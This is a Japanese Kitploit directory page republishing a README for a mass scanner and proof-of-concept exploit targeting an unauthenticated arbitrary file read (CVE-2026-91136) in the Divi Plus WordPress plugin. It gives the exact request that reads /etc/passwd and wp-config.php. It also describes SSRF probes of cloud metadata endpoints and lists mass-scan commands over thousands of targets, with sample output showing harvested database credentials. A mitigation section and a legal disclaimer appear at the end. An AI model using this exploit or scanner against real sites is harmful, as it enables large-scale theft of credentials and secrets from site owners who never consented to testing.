Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-91136 — CVE-2026-91136 のための大規模スキャナーおよび PoC エクスプロイト。これは Divi Plus WordPress プラグインにおける、svg_image REST パラメータを介した未認証の任意ファイル読み取りです。 | Kitploit
ツール/GitHubGitHub/fl0ydsec/cve-2026-91136
偵察脆弱性スキャナーウェブ脆弱性スキャナーエクスプロイトウェブアプリケーション悪用データ流出情報収集ウェブセキュリティ
GitHubfl0ydsec/cve-2026-91136

CVE-2026-91136

CVE-2026-91136 のための大規模スキャナーおよび PoC エクスプロイト。これは Divi Plus WordPress プラグインにおける、svg_image REST パラメータを介した未認証の任意ファイル読み取りです。

リポジトリを見る
224日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-91136 — Divi Plus ≤ 2.4.0 — 未認証の任意ファイル読み取りPoC

Divi Plus (Elicus) — WordPressプラグイン ≤ 2.4.0 — elicus/v1 REST名前空間のsvg_imageパラメータを介した未認証の任意ファイル読み取り。

CVE-2026-91136 CVSS WordPress Auth

Author Python Telegram


📋 脆弱性の概要

属性詳細
CVE IDCVE-2026-91136
チェーンsvg_image → file_get_contents() (フォールバック wp_remote_get) → JSON html
深刻度🟠 HIGH (CVSS 7.5)
対象Divi Plus (Divi Extended / Elicus)
影響を受けるバージョン≤ 2.4.0
修正済みバージョン2.4.1
必要な認証なし

🔍 技術的詳細

SVGAnimatorController::index_permissionは無条件にtrueを返すため、/wp-json/elicus/v1/dipl-modules/svg-animatorエンドポイントには認証なしで到達できます。svg_image入力はfile_get_contents()(wp_remote_get()フォールバック付き)に渡される前にsanitize_text_field()とesc_html()のみを通過しますが、これらはファイルシステムパス、file://ストリームラッパー、リモートURLを制限しません。生のレスポンスボディはJSONのhtmlフィールドに返されます。

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

影響: /etc/passwd、wp-config.php(DB認証情報 + 認証ソルト)、SSRF経由のクラウドメタデータ(169.254.169.254 / GCP / Azure / DO / OCI)、.env、およびWebユーザーが読み取り可能なその他のファイルを読み取ります。


🚀 使用方法

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
オプション説明
-u/--url URL単一ターゲット
-i/--input FILEターゲットファイル、1行に1つ(# コメント可)
-t/--threads Nスレッド数(省略時は対話形式で確認)
--timeout Nリクエストタイムアウト(デフォルト 12)
-q/--quietヒットのみ表示、それ以外はインラインカウンターへ
-v/--verboseターゲットごとに1行表示
-o/--output FILE結果を JSONL + FILE.hits.txt に書き込み

📊 出力

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980
  • ライブ単行プログレスバー: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
  • results.hits.txt — 脆弱性が確認されたターゲットのみ

⚙️ 機能

  • フィンガープリント: svg-animator エンドポイントのレスポンス + divi-plus アセットの ?ver= によるバージョン
  • バージョンオラクル: 脆弱なブランチはファイル本体を返し、パッチ済み/WAF は 403/空を返す
  • wp-config.php の探索: 固定候補 + /etc/passwd から解析した実際の /home/<user>/ ディレクトリ
  • SSRF プローブ: AWS / GCP / Azure / DigitalOcean / OCI のメタデータエンドポイント
  • ルート抽出: DB 認証情報 + WordPress 認証ソルト、各検出結果ごとに直接再利用可能なリンク付き
  • マスモード: スレッドプール、重複排除、ライブの ✓/✗ 集計、JSONL + hits エクスポート

📁 ファイル構成

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ 免責事項

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ 緩和策

  1. Divi Plus を 2.4.1(以降)に更新する
  2. ファイル読み取りによって露出した認証情報をローテーションする
  3. WAF で GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator をブロックする
  4. file://、/etc/、またはメタデータ IP を含む svg_image の値をログで監視する

👤 作者

fl0ydsec (Floydroot)

GitHub Telegram

セキュリティリサーチ

ツールをダウンロード